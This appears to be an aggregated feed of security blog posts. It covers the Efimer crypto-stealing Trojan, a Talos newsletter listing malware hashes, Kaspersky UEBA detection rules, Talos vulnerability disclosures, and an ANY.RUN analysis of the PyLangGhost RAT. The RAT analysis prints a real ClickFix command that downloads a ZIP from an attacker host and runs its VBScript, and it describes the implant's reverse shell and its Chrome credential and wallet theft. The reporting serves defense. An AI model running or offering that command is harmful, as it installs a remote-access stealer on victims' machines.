The Efimer Trojan steals cryptocurrency via malicious torrent files and WordPress websites | Kaspersky official blog

If you’re an active cryptocurrency user but you’re still downloading torrent files and aren’t sure how to safely store your seed phrases, we’ve some bad news for you. We’ve discovered a new Trojan, Efimer, that replaces crypto wallet addresses right in your clipboard. One click is all it takes for your money to end up in a hacker’s wallet.

Here’s what you need to do to keep your crypto safe.

How Efimer spreads

One of Efimer’s main distribution channels is WordPress websites. It doesn’t help that WordPress is a free content-management system for websites — or that it’s the world’s most popular. Everyone from small-time bloggers and businesses to major media outlets and corporations uses it. Scammers exploit poorly secured sites and publish posts with infected torrent files.

This is what a hacked WordPress website infected with Efimer looks like

This is what a hacked WordPress website infected with Efimer looks like

When a user downloads a torrent file from an infected site, they get a small folder that contains what looks like a movie file with the .xmpeg extension. You can’t open a file in that format without a “special media player”, which is conveniently included in the folder. In reality, the “player” is a Trojan installer.

The torrent folder with the malicious files inside

The torrent folder with the malicious files inside

Recently, Efimer has also started spreading through phishing emails. Website and domain owners receive emails, purportedly from lawyers, falsely claiming copyright infringement and demanding content removal. The emails say all the details are in the attachment… which is actually where the Trojan is lurking. Even if you don’t own a website yourself, you can still receive spam email messages with Efimer attached. Threat actors collect user email addresses from WordPress sites they’ve previously compromised. So, if you get an email like this, whatever you — don’t open the attachment.

How Efimer steals your crypto

Once Efimer infects a device, one of its scripts adds itself to the Windows Defender exclusion list — provided the user has administrator privileges. The malware then installs a Tor client to communicate with its command-and-control server.

Efimer accesses the clipboard and searches for a seed phrase, which is a unique sequence of words that allows access to a crypto wallet. The Trojan saves this phrase and sends it to the attackers’ server. If it also finds a crypto wallet address in the clipboard, Efimer discreetly swaps it out for a fake one. To avoid raising suspicion, the fake address is often very similar to the original. The end result is that cryptocurrency is silently transferred to the cybercrooks.

Wallets containing Bitcoin, Ethereum, Monero, Tron, or Solana are primarily at risk, but owners of other cryptocurrencies shouldn’t let their guard down. The developers of Efimer regularly update the malware by adding new scripts and extending support for more crypto wallets. You can find out more about Efimer’s capabilities in our analysis on Securelist.

Who’s at risk?

The Trojan is attacking Windows users all over the world. Currently the malware is most active in Brazil, Russia, India, Spain, Germany, and Italy, but the scope of these attacks could easily expand to your country, if it’s not already on the list. Users of crypto wallets, owners of WordPress sites, and those who frequently download movies, games, and torrent files from the internet should be especially vigilant.

How to protect yourself from Efimer

The Efimer Trojan is a real jack-of-all-trades. It’s capable of stealing cryptocurrencies, swapping crypto wallets, and it poses a serious threat to both individuals and organizations. It can use scripts to hack WordPress sites, and is able to spread on its own. However, in every case, a device can only be infected if the potential victim downloads and opens a malicious file themselves. This means that a little vigilance and a healthy dose of caution — ignoring files from suspicious sources at the very least — is your best defense against Efimer.

Here are our recommendations for home users:

  • Use a robust security solution that can scan files for malware and warn you against opening phishing links.
  • Create unique and strong passwords. And no, storing them in your notes app is not a good idea. Make sure you use a password manager.
  • Use two-factor authentication to sign in to crypto wallets and websites.
  • Avoid downloading movies or games from unverified sites. Pirated content is often crawling with all kinds of Trojans. Even if you choose to take that risk, pay close attention to the file extensions. A regular video file definitely won’t have an .exe or .xmpeg extension.
  • Don’t store your seed phrases in plain text files. Trust a password manager. Read this article to learn more about how to protect your cryptocurrency assets.

What other threats lurk in the crypto world:

Kaspersky official blog – ​Read More

AI wrote my code and all I got was this broken prototype

AI wrote my code and all I got was this broken prototype

Welcome to this week’s edition of the Threat Source newsletter. 

Vulnerabilities within software are a persistent challenge. Software engineers inadvertently tend to make the same mistakes repeatedly, with the same entries appearing in the annual top 25 list of Common Weakness Enumerations each year. 

The truth is, writing software is difficult. Software engineering is a craft demands concentration, knowledge and time, all coupled with extensive testing. Even the most skilled software engineer can get distracted or have a bad day, leading to a hidden vulnerability inadvertently making its way into a production codebase. 

Identifying vulnerabilities early in the software development process is one of the promises of AI. The idea being that an AI agent would write perfect code under the direction of a software engineer or verify and correct code written by a human. 

Last weekend, I decided to put this premise to the test. As a somewhat rusty software engineer, I resolved to see if AI could assist me with a personal software project. Initially, I was impressed, the AI agent offered an engaging discussion about high-level architecture and the trade-offs of various approaches. I was amazed at the lines of code that the AI generated on request. All the software for my project written at the press of a button! 

Then came the testing. Although the code looked convincing, it failed to interface with the required libraries. Parameters were incorrect, it tried to call fictional functions. It seemed that the way the AI imagined the library to work didn’t reflect reality or the available documentation. Similarly, there were less sanity checks or verification of variable values than I was comfortable with; especially since many of these were derived from external inputs. 

To be fair, the AI code resolved a tricky threading issue that had defeated me, and the ‘boilerplate’ code necessary to form the skeleton structure of the software was flawless. I felt that I achieved a productivity boost from the AI’s exposure to ‘frequently encountered’ coding issues. However, when it came to more esoteric APIs with which I was moderately familiar, the AI was unable to generate functional code or correctly diagnose reported errors. 

After some debugging and manual rewriting, I managed to create a working prototype. The code is clearly not bulletproof, but then again, I hadn’t explicitly asked for code that was secured against all potential hacks. Like many software engineers, myself and my AI assistant focused on quickly delivering the desired functionality, rather than considering the long-term operation of the code in a potentially hostile environment. 

I remain optimistic that AI assisted coding is the pathway to a software vulnerability free future. However, my recent limited personal experience leads me to think that we still have a considerable journey ahead before we can definitively resolve software vulnerabilities for good. 

I hope you all have a tremendous time at Summer Camp, see a lot of old friends and make new ones and most importantly that you shower and use deodorant. Conference season is a marathon, it’s long, it’s arduous, it’s sweaty – be the hygienic change you want to see in the world.  

The one big thing 

Continuing the AI theme, Guilherme describes how AI LLM models can be used to assist in the reverse engineering of malware. Used correctly, LLMs can provide valuable insights and facilitate the analysis of malware. 

Why do I care? 

Reverse engineering malware is the often time-consuming task of identifying the execution path of malicious software. Frequently malware writers obfuscate their code to make it difficult to understand and follow what their code is doing. Advances in technology that can speed up this process make fighting malware easier.  

So now what? 

Investigate if the tools and approaches described in the blog can be used to improve your reverse engineering process, or as a means to begin learning about reverse engineering. 

Top security headlines of the week 

As ransomware gangs threaten physical harm, ‘I am afraid of what’s next,’ ex-negotiator says

In an effort to increase the pressure on victims, ransomware gangs are now using threats of physical violence. (The Register)

‘Shadow AI’ increases cost of data breaches, report finds

Unmanaged and unsecured use of AI is leading to data breaches. (Cybersecurity Dive)

Enough to drive a cybersecurity officer mad: one rule here, a different rule there

Chief information security officers call for less fragmentation in global cybersecurity regulations. (ASPI)

UK Online Safety Act promotes insecurity

The implementation of the UK Online Safety Act requiring age verification for content deemed harmful to children introduces some security quandaries. (Tech HQ)

Can’t get enough Talos? 

Cyber Analyst Series: Cybersecurity Overview and the Role of the Cybersecurity Analyst

A series of videos on the profession of cybersecurity analysts made in conjunction with the Ministry of Digital Transformation of Ukraine for Diia.Education (available in English and Ukrainian languages). Watch here.

Tales from the Frontlines

Join the Cisco Talos Incident Response team to hear real-world stories from the frontlines of cyber defense. Reserve your spot.

Vulnerability roundup

Cisco Talos’ Vulnerability Discovery & Research team recently disclosed seven vulnerabilities in WWBN AVideo, four in MedDream, and one in an Eclipse ThreadX module. Read more.

Talos Takes

Hazel is joined by threat intelligence researcher James Nutland to discuss Cisco Talos’ latest findings on the newly emerged Chaos ransomware group. Listen here.

Upcoming events where you can find Talos 

It’s the summer. We’ll be on the beach. 

Most prevalent malware files from Talos telemetry over the past week  

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Typical Filename: VID001.exe 
Claimed Product: N/A 
Detection Name: Win.Worm.Coinminer::1201  

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
MD5: 7bdbd180c081fa63ca94f9c22c457376  
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details  
Typical Filename: IMG001.exe   
Detection Name: Simple_Custom_Detection 

SHA 256: 41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610 
MD5: 85bbddc502f7b10871621fd460243fbc  
VirusTotal: https://www.virustotal.com/gui/file/41f14d86bcaf8e949160ee2731802523e0c76fea87adf00ee7fe9567c3cec610/details 
Typical Filename: N/A 
Claimed Product: Self-extracting archive 
Detection Name: Win.Worm.Bitmin-9847045-0 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
MD5: 71fea034b422e4a17ebb06022532fdde   
VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca/details  
Typical Filename: VID001.exe   
Claimed Product: N/A   
Detection Name: Coinminer:MBT.26mw.in14.Talos  

SHA 256: 59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa  
MD5: df11b3105df8d7c70e7b501e210e3cc3  
VirusTotal: https://www.virustotal.com/gui/file/59f1e69b68de4839c65b6e6d39ac7a272e2611ec1ed1bf73a4f455e2ca20eeaa/details  
Typical Filename: DOC001.exe  
Claimed Product: N/A  
Detection Name: Win.Worm.Coinminer::1201 

Cisco Talos Blog – ​Read More

UEBA rules in Kaspersky SIEM | Kaspersky official blog

Today’s cyberattackers are masters of disguise — working hard to make their malicious activities look like normal processes. They use legitimate tools, communicate with command-and-control servers through public services, and mask the launch of malicious code as regular user actions. This kind of activity is almost invisible to traditional security solutions; however, certain anomalies can be uncovered by analyzing the behavior of specific users, service accounts, or other entities. This is the core concept behind a threat detection method called UEBA, short for “user and entity behavior analytics”. And this is exactly what we’ve implemented in the latest version of our SIEM system — Kaspersky Unified Monitoring and Analysis Platform.

How UEBA works within an SIEM system

By definition, UEBA is a cybersecurity technology that identifies threats by analyzing the behavior of users, devices, applications, and other objects in an information system. While in principle this technology can be used with any security solution, we believe it’s most effective when integrated in an SIEM platform. By using machine learning to establish a normal baseline for a user or object’s behavior (whether it’s a computer, service, or another entity), an SIEM system equipped with UEBA detection rules can analyze deviations from typical behavior. This allows for the timely detection of APTs, targeted attacks, and insider threats.

This is why we’ve equipped our SIEM system with an UEBA rule package — designed specifically to detect anomalies in authentication processes, network activity, and the execution of processes on Windows-based workstations and servers. This makes our system smarter at finding novel attacks that are difficult to spot with regular correlation rules, signatures, or indicators of compromise. Every rule in the UEBA package is based on profiling the behavior of users and objects. The rules fall into two main categories:

  • Statistical rules, which use the interquartile range to identify anomalies based on current behavior data.
  • Rules that detect deviations from normal behavior, which is determined by analyzing an account or object’s past activity.

When a deviation from a historical norm or statistical expectation is found, the system generates an alert and increases the risk score of the relevant object (user or host). (Read this article to learn more about how our SIEM solution uses AI for risk scoring.)

Structure of the UEBA rule package

For this rule package, we focused on the areas where UEBA technology works best — such as account protection, network activity monitoring, and secure authentication. Our UEBA rule package currently features the following sections:

Authentication and permission control

These rules detect unusual login methods, sudden spikes in authentication errors, accounts being added to local groups on different computers, and authentication attempts outside normal business hours. Each of these deviations is flagged, and increases the user’s risk score.

DNS profiling

Dedicated to analysis of DNS queries made by computers on the corporate network. The rules in this section collect historical data to identify anomalies like queries for unknown record types, excessively long domain names, unusual zones, or atypical query frequencies. It also monitors the volume of data returned via DNS. Any such deviations are considered potential threats, and thus increase the host’s risk score.

Network activity profiling

Tracking connections between computers both within the network and to external resources. These rules flag first-time connections to new ports, contacts with previously unknown hosts, unusual volumes of outgoing traffic, and access to management services. All actions that deviate from normal behavior generate alerts and raise the risk score.

Process profiling

This section monitors programs launched from Windows system folders. If a new executable runs for the first time from the System32 or SysWOW64 directories on a specific computer, it’s flagged as an anomaly. This raises the risk score for the user who initiated the process.

PowerShell profiling

This section tracks the source of PowerShell script executions. If a script runs for the first time from a non-standard directory — one that isn’t Program Files, Windows, or another common location — the action is marked as suspicious and increases the user’s risk score.

VPN monitoring

This flags a variety of events as risky — including logins from countries not previously associated with the user’s profile, geographically impossible travel, unusual traffic volumes over a VPN, VPN client changes, and multiple failed login attempts. Each of these events results in a higher risk score for the user’s account.

Using these UEBA rules helps us detect sophisticated attacks and reduce false positives by analyzing behavioral context. This significantly improves the accuracy of our analysis and lowers the workload of security analysts. Using UEBA and AI to assign a risk score to an object speeds up and improves each analyst’s response time by allowing them to prioritize incidents more accurately. Combined with the automatic creation of typical behavioral baselines, this significantly boosts the overall efficiency of security teams. It frees them from routine tasks, and provides richer, more accurate behavioral context for threat detection and response.

We’re constantly improving the usability of our SIEM system. Stay tuned for updates to the Kaspersky Unified Monitoring and Analysis Platform on its official product page.

Kaspersky official blog – ​Read More

WWBN, MedDream, Eclipse vulnerabilities

WWBN, MedDream, Eclipse vulnerabilities

Cisco Talos’ Vulnerability Discovery & Research team recently disclosed seven vulnerabilities in WWBN AVideo, four in MedDream, and one in an Eclipse ThreadX module.

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.    

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.     

WWBN XSS, race condition, incomplete blacklist vulnerabilities

Discovered by Claudio Bozzato of Cisco Talos.

WWBN AVideo is a video streaming platform with hosting, management, and video monetization features.

Talos found five cross-site scripting (XSS) vulnerabilities in WWBN AVideo 14.4 and dev master commit 8a8954ff:

A specially crafted HTTP request can lead to arbitrary Javascript execution in all five cases. An attacker must get a user to visit a webpage to trigger these vulnerabilities.

Additionally, Talos identified two vulnerabilities that, when chained together, can lead to arbitrary code execution:

TALOS-2025-2212 (CVE-2025-25214) A race condition vulnerability exists in the aVideoEncoder.json.php unzip functionality of WWBN AVideo 14.4 and dev master commit 8a8954ff. A series of specially crafted HTTP requests can lead to arbitrary code execution.

TALOS-2025-2213 (CVE-2025-48732) An incomplete blacklist exists in the .htaccess sample of WWBN AVideo 14.4 and dev master commit 8a8954ff. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can request a .phar file to trigger this vulnerability.

MedDream

Discovered by Emmanuel Tacheau and Marcin Noga of Cisco Talos.

MedDream PACS Premium is a DICOM 3.0 compliant picture archiving and communication system for the medical industry. The PACS server provides connectivity to all DICOM modalities (CR, DX, CT, MR, US, XA, etc.).

Talos found four unique MedDreams PACS Premium vulnerabilities.

TALOS-2025-2154 (CVE-2025-26469) is an incorrect default permissions vulnerability in the CServerSettings::SetRegistryValues functionality of MedDream PACS Premium 7.3.3.840. A specially crafted application can decrypt credentials stored in a configuration-related registry key. An attacker can execute a malicious script or application to exploit this vulnerability.

TALOS-2025-2156 (CVE-2025-27724) is a privilege escalation vulnerability in the login.php functionality of meddream MedDream PACS Premium 7.3.3.840. A specially crafted .php file can lead to elevated capabilities. An attacker can upload a malicious file to trigger this vulnerability.

TALOS-2025-2176 (CVE-2025-32731) is a reflected XSS vulnerability in the radiationDoseReport.php functionality of meddream MedDream PACS Premium 7.3.5.860. A specially crafted malicious URL can lead to arbitrary JavaScript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

TALOS-2025-2177 (CVE-2025-24485) is a server-side request forgery (SSRF) vulnerability in the cecho.php functionality of MedDream PACS Premium 7.3.5.860. A specially crafted HTTP request can lead to SSRF. An attacker can make an unauthenticated HTTP request to trigger this vulnerability.

Eclipse ThreadX FileX integer underflow vulnerability

Discovered by Kelly Patterson of Cisco Talos.

Eclipse ThreadX is an embedded development suite for an advanced real-time operating system (RTOS) that provides efficient performance for resource-constrained devices. 

TALOS-2024-2088 is a buffer overflow vulnerability in the FileX RAM disk driver functionality of Eclipse ThreadX FileX git commit 1b85eb2. A specially crafted set of network packets can lead to code execution. An attacker can send a sequence of requests to trigger this vulnerability.

Cisco Talos Blog – ​Read More

PyLangGhost RAT: Rising Data Stealer from Lazarus Group Targeting Finance and Technology 

Editor’s note: The current article is authored by Mauro Eldritch, offensive security expert and threat intelligence analyst. You can find Mauro on X. 

North Korean state-sponsored groups, such as Lazarus, continue to target the financial and cryptocurrency sectors with a variety of custom malware families. In previous research, we examined strains like InvisibleFerret, Beavertail, and OtterCookie, often deployed through fake developer job interviews or staged business calls with executives. While these have been the usual suspects, a newer Lazarus subgroup, Famous Chollima, has recently introduced a fresh threat: PyLangGhost RAT, a Python-based evolution of GoLangGhostRAT. 

Unlike common malware that spreads through pirated software or infected USB drives, PyLangGhost RAT is delivered via highly targeted social engineering campaigns aimed at the technology, finance, and crypto industries, with developers and executives as prime victims. In these attacks, adversaries stage fake job interviews and trick their targets into believing that their browser is blocking access to the camera or microphone. The “solution” they offer is to run a script that supposedly grants permission. In reality, the script hands over full remote access to a North Korean operator. 

This sample was obtained from fellow researcher Heiner García Pérez of BlockOSINT, who encountered it during a fake job recruitment attempt and documented his findings in an advisory.  

Let’s break it down. 

A fake interview process. Source: BlockOSINT

Key Takeaways 

  • Attribution: PyLangGhost RAT is linked to the North Korean Lazarus subgroup Famous Chollima, known for using highly targeted and creative intrusion methods. 
  • Delivery Method: Distributed through “ClickFix” social engineering, where victims are tricked into running malicious commands to supposedly fix a fake camera or microphone error during staged job interviews. 
  • Core Components: The malware’s main loader (nvidia.py) relies on multiple modules (config.py, api.py, command.py, util.py, auto.py) for persistence, C2 communication, command execution, data compression, and credential theft. 
  • Credential & Wallet Theft: Targets browser-stored credentials and cryptocurrency wallet data from extensions like MetaMask, BitKeep, Coinbase Wallet, and Phantom, using privilege escalation and Chrome encryption key decryption (including bypasses for Chrome v20+). 
  • C2 Communication: Communicates over raw IP addresses with no TLS, using weak RC4/MD5 encryption, but remains stealthy with very low initial detection rates (0–3 detections on VirusTotal). 
  • Code Origin: Appears to be a full Python reimplementation of GoLangGhost RAT, likely aided by AI, as indicated by Go-like logic patterns, unusual code structure, and large commented-out sections. 

The Fake Job Offer Trap 

In the past, DPRK operators have resorted to creative methods to distribute malware, from staging fake job interviews and sharing bogus coding challenges (some laced with malware, others seemingly clean but invoking malicious dependencies at runtime), to posing as VCs in business calls, pretending not to hear the victim, and prompting them to download a fake Zoom fix or update. 

This case is a bit different. It falls into a newer category of attacks called “ClickFix” — scenarios where the attacker, or one of their websites, presents the victim with fake CAPTCHAs or error messages that prevent them from completing an interview or coding challenge. The proposed fix is deceptively simple: copy a command shown on the website and paste it into a terminal or the Windows Run window (Win + R) to “solve the issue.” By doing so, users end up executing malicious scripts with their own privileges, or even worse, as Administrator, essentially handing control of the system to a Chollima operator. 

A fake “Race Condition” Error, prompting the user to run a command. Source: BlockOSINT

In this case, the researcher received a fake job offer to work at the Aave DeFi Protocol. After a brief screening with a few generic questions, he was redirected to a page that began flooding him with notifications about an error dubbed “Race Condition in Windows Camera Discovery Cache.” 

Luckily, the website offered a quick fix for this “problem”: just run a small code snippet in the terminal. 

But what does this code actually do? Let’s find out. 

Chollimas & Pythons 

Let’s analyze the command: 

curl -k -o “%TEMP%nvidiaRelease.zip” https://360scanner.store/cam-v-b74si.fix && powershell -Command “Expand-Archive -Force -Path ‘%TEMP%nvidiaRelease.zip’ 

-DestinationPath ‘%TEMP%nvidiaRelease’” && wscript “%TEMP% 

nvidiaReleaseupdate.vbs” 

This line: 

  • Downloads a ZIP file from 360scanner[.]store using curl. 
  • Extracts it to the %TEMP%nvidiaRelease directory using PowerShell’s Expand- Archive. 
  • Executes a VBScript named update.vbs via wscript. 
update.vbs contents

Now let’s look at what this script actually does:

Inside update.vbs 

It silently decompresses Lib.zip to the same directory, using tar, and waits for the extraction to finish, hiding any windows during the process. 

Then, it runs csshost.exe nvidia.py. The filename csshost.exe is mildly obfuscated by being split in two parts (“css” & “host.exe”) before execution. 

Disguised Python Environment 

But what is csshost.exe? 

It’s actually a renamed python.exe binary. Nothing more. No packing, no exotic tricks; just Python, rebranded. 

The Lib.zip file is a clean Python environment bundled with standard libraries, containing nothing malicious or unusual. 

Lib.zip contents, clean

A Decoy and Its Real Payload 

Funny enough, if you try to download the same file manually with a different User- Agent, the server returns a legitimate driver instead — a clever decoy tactic. 

On the other hand, nvidia.py imports three additional components: api.py, config.py, and command.py. The last one, in turn, also uses util.py and auto.py.  

Core Modules and Their Roles 

Let’s break down the 3 modules, starting with config.py. 

This file defines a set of constants used throughout the malware lifecycle, including message types, command codes, and operational parameters. 

Here’s a quick reference of the command dictionary defined in config.py: 

Code Function
qwer  Get system information 
asdf  Upload a file 
zxcv  Download a file 
vbcx  Open a terminal session 
qalp  Detach terminal (background) 
ghd  Wait 
89io  Gather Chrome extension data 
gi%#  Exfiltrate Chrome cookie store 
kyci  Exfiltrate Chrome keychain 
dghh  Exit the implant 
Command dictionary on config.py

Immediately after that, a C2 server based in the United Kingdom is declared (some sources indicate “Private Client – Iran”), along with a registry key used for persistence, and a list of Chrome extensions targeted for exfiltration, including MetaMask, BitKeep, Coinbase Wallet, and Phantom. 

Extensions list, C2 server and persistence key

Coming up next, api.py manages communication with the C2 server we just saw on config.py. There are three main functions: 

  1. Packet0623make, which resorts to RC4 cipher to encrypt data in transmission, builds a packet and computes a checksum. RC4 is obsolete and weak but simple, which may explain why that choice. 
  1. Packet0623decode, which validates the checksum and decrypts the packet. 
  1. Htxp0623Exchange, which simply posts the packet to the server without TLS encryption, thus making the RC4 and MD5 cocktail an even weaker choice. 
Package building using RC4

Now command.py acts as a dispatcher, interpreting both malware logic and C2 communications, and executing instructions accordingly. It also handles status messages defined in the config.py module we examined earlier. 

The key functions are: 

Function  Description 
ProcessInfo  Collects the current user, hostname, OS, architecture, and the malware (daemon) version.  
ProcessUpload  Allows the attacker to upload compressed files to the victim’s machine. 
ProcessDownload  Stages files or folders for exfiltration. If the target is a folder, it gets compressed before transmission. 
ProcessTerminal  Opens a reverse shell or executes arbitrary commands, depending on the mode selected. 
makeMsg0623 / decodeMsg0623  Serialize and deserialize base64-encoded messages exchanged between implant and C2. 
ProcessAuto:  Triggers automation routines from the auto.py module 
Function to open a reverse shell or run arbitrary commands

You probably remember that command.py imports two other custom modules: util.py and auto.py. Let’s review them as well. 

Module util.py implements three functions: 

Function  Description 
com0715press  Compresses files in-memory as .tar.gz  
decom0715press  Extracts .tar.gz files from memory to disk 
valid0715relPath  Validates routes to prevent path transversal 
Auxiliary functions from util.py

Finally, the last and most critical module: auto.py

This module implements two key functions: 

  • AutoGatherMode: Collects configuration data from cryptocurrency browser extensions such as MetaMask, BitKeep, Coinbase Wallet, and Phantom. 
  • AutoCookieMode: Extracts login artifacts, including credentials and cookies, from Google Chrome. 

The autoGatherMode function searches for the user’s Google Chrome profile directory (AppDataLocalGoogleChromeUser Data), starting with the Default profile and then enumerating others. It compresses the configuration directories of the targeted extensions into a single archive named gather.tar.gz and exfiltrates it for manual analysis, with the goal of enabling account takeover or compromising cryptocurrency wallets. 

Exfiltrating Google Chrome Profiles in a compressed file

With the rise of information-stealing malware, browser vendors have introduced various countermeasures to protect sensitive data such as password managers, cookies, and encrypted storage vaults. Chrome is no exception. To bypass these protections, the malware includes functions designed to check whether the user has administrative privileges and to retrieve Chrome’s encryption key through different methods, depending on the browser version, as the protection mechanisms vary. 

The autoCookieMode function, on the other hand, starts by checking if the user has administrative privileges. If not, it relaunches itself using runas, triggering a UAC (User Access Control) prompt. The prompt is intentionally deceptive, it simply displays “python.exe” as the requesting binary, providing no additional context or visual indicators. This subtle form of social engineering increases the likelihood of the user granting permission. 

If the prompt is accepted, the malware gains elevated privileges, which are necessary to interact with privileged APIs such as the Data Protection API (DPAPI) used to retrieve Chrome’s encryption keys. If the user declines, the malware continues execution with the current user’s privileges. 

Malicious UAC prompt

It then creates a file named chrome_logins_dump.txt to store the extracted credentials. To do so, it accesses Chrome’s Local State file, which contains either an encrypted_key (in v10) or an app_bound_encrypted_key (in v20+). These keys are not stored in plaintext but encoded in Base64 and encrypted using Windows DPAPI. While they are accessible to the current user, they require decryption before use. 

Google Chrome Keys Harvesting

In Chrome v10, the encryption key is protected solely by the user’s DPAPI context and can be decrypted directly. In Chrome v20 and later, the key is app-bound and encrypted twice — first with the machine’s DPAPI context, and then again with the user’s. To bypass this layered protection, the malware impersonates the lsass.exe process to temporarily gain SYSTEM privileges. 

Impersonating lsass.exe

It then applies both layers of decryption, yielding a key blob which, once parsed, reveals the AES master key used to decrypt Chrome’s stored credentials. 

Once the key is obtained by either method, the malware connects to the Login Data SQLite database and extracts all stored credentials, applying the corresponding decryption logic for v10 or v20 entries depending on the case. 

Credentials dumped by the process

At this point, it’s game over for the victim. 

With the module functionality now understood, the next step is to examine the malware’s core component: nvidia.py. Before diving in, here’s a summary of the auxiliary functions contained in this module. 

  • check_adminRole: Checks if the current process has administrative privileges using IsUserAnAdmin(). 
  • GetSecretKey: Extracts and decrypts the AES key used by Chrome (v10) from the Local State file using DPAPI. 
  • DecryPayload: Decrypts a payload using a given cipher. 
  • GenCipher: Constructs an AES-GCM cipher object using a given key and IV. 
  • DecryPwd: Decrypts v10-style Chrome passwords using AES-GCM and the secret key obtained via DPAPI. 
  • impersonate_lsass: Context manager that impersonates the lsass.exe process to gain SYSTEM privileges. 
  • parse_key_blob: Parses Chrome’s v20 encrypted key blob structure to extract the IV, ciphertext, tag, and (if present) encrypted AES key. 
  • decrypt_with_cng: Decrypts data using the Windows CNG API and a hardcoded key name (“Google Chromekey1”). 
  • byte_xor: Performs XOR between two byte arrays (used to unmask AES key in v20 key blobs). 
  • derive_v20_master_key: Decrypts and derives the AES master key from parsed v20 Chrome blobs, supporting multiple encryption flags (AES, ChaCha20, masked AES). 

From Recon to Full Control 

Now, to the core component: nvidia.py

This module begins by registering a registry key to establish persistence, assigning a unique identifier (UUID) to the host, and creating a pseudo–mutex-like mechanism via a .store file to prevent multiple instances from running simultaneously. It then enters a loop, continuously listening for new instructions from the C2 server. Additionally, it supports standalone execution with specific command-line arguments, enabling it to immediately perform actions such as stealing cookies or login data. 

Analysis in ANY.RUN shows that all communication with the C2 servers is carried out over raw IP addresses, with no domain names used. While the traffic is not encrypted with TLS, it is at least obfuscated using RC4; a weak method, but still an added layer of concealment. 

View real case inside ANY.RUN sandbox 

Traffic to the C2 Server

The sandbox quickly flags the traffic as suspicious. Because the malware uses the default python-requests User-Agent and sends multiple rapid requests, this pattern becomes a reliable detection indicator. 

Detect threats faster with ANY.RUN’s Interactive Sandbox
See full attack chain in seconds for immediate response 



Get started with business email


Traffic is automatically marked as suspicious

Another key observation: most of the malware artifacts used in this campaign register only 0 to 3 detections on VirusTotal, making them particularly stealthy. Fortunately, ANY.RUN immediately identifies these samples as 100/100 malicious, starting with the initial update.vbs loader. 

update.vbs loader marked as malicious

Other components, including nvidia.py, the main launcher, are also flagged instantly with a 100/100 score, providing early warning against this evolving threat. 

nvidia.py loader marked as malicious

New malware, you say? Let’s take a closer look. 

Gophers, Ghosts & AI 

A variant of this sample was recently observed by other security laboratories, which noted strong similarities to GoLangGhost RAT. In fact, this appears to be a full reimplementation of that RAT in Python, but with a notable twist. 

Analysis revealed numerous linguistic patterns and unusual coding constructions, including dead code, large commented-out sections, and Go-style logic structures, suggesting that the port from Go to Python was at least partially assisted by AI tools. 

Ghosts, Gophers, Pythons, and AI, all converging in a single malware family.  

Let’s go to the ATT&CK Matrix now, which ANY RUN does automatically. 

PylangGhost RAT ATT&CK Details 

PylangGhost RAT shares several tactics, techniques, and procedures (TTPs) with its related families, OtterCookieInvisibleFerret, and BeaverTail but also introduces some new ones: 

T1036  Masquerading  Renames legitimate binaries such as python.exe to csshost.exe. 
T1059  Command and Scripting Interpreter  Initiates execution by using wscript.exe to run update.vbs and csshost.exe to launch the nvidia.py loader. 
T1083  Files and Directory Discovery  Enumerates user profiles and browser extensions. 
T1012  Query Registry  Gains persistence via registry entries created by the update.vbs script. 
MITRE ATT&CK Matrix

Business Impact of PyLangGhost RAT 

PyLangGhost RAT poses a significant risk to organizations in the technology, finance, and cryptocurrency sectors, with potential consequences including: 

  • Financial losses: Compromised cryptocurrency wallets and stolen credentials can lead directly to asset theft and fraudulent transactions. 
  • Data breaches: Exfiltration of sensitive corporate data, browser-stored credentials, and internal documents can expose intellectual property, customer information, and strategic plans. 
  • Operational disruption: Persistent remote access allows attackers to move laterally, deploy additional payloads, and disrupt business-critical systems. 
  • Reputational damage: Public disclosure of a breach tied to a high-profile state-sponsored group can undermine client trust and brand credibility. 
  • Regulatory consequences: Data theft incidents may trigger compliance violations (e.g., GDPR, CCPA, financial regulations) resulting in legal penalties and reporting obligations. 

Given its low detection rate and targeted social engineering approach, PyLangGhost RAT enables attackers to operate inside a network for extended periods before discovery, increasing both the scope and cost of an incident. 

How to Fight Against PyLangGhost RAT 

Defending against PyLangGhost RAT requires a combination of proactive detection, security awareness, and layered defenses: 

  • Use behavior-based analysis: Solutions like ANY.RUN’s Interactive Sandbox can detect PyLangGhost RAT in minutes by exposing its execution chain, raw IP C2 connections, and credential theft activity. 
  • Validate unexpected commands: Educate employees to never run commands or scripts provided during job interviews or online “technical tests” without verification from security teams. 
  • Restrict administrative privileges: Limit the ability for standard users to run processes with elevated rights, reducing the malware’s ability to retrieve encrypted browser keys. 
  • Monitor for anomalous network traffic: Look for unusual outbound connections to raw IPs or rapid repeated HTTP requests from unexpected processes. 
  • Harden browser data security: Apply policies to clear cookies and credentials regularly, disable unneeded browser extensions, and enforce hardware-backed encryption where available. 
  • Incident response readiness: Maintain a process for rapid sandbox testing of suspicious files or scripts to shorten investigation times and reduce business impact. 

Spot Similar Threats Early, Minimizing Business Risk 

When facing dangerous malware like PyLangGhost RAT, speed of detection is important. Every minute an attacker remains undetected increases the chances of stolen data, financial loss, and operational disruption. 

ANY.RUN’s Interactive Sandbox helps organizations identify and analyze threats like PyLangGhost RAT within minutes, combining real-time execution tracking with behavior-based detection to uncover even low-detection or newly emerging malware. 

  • Rapid incident response: Detect threats early to stop lateral movement, data exfiltration, and further compromise. 
  • Lower investigation costs: Automated analysis delivers verdicts quickly, reducing the time and resources needed for manual investigation. 
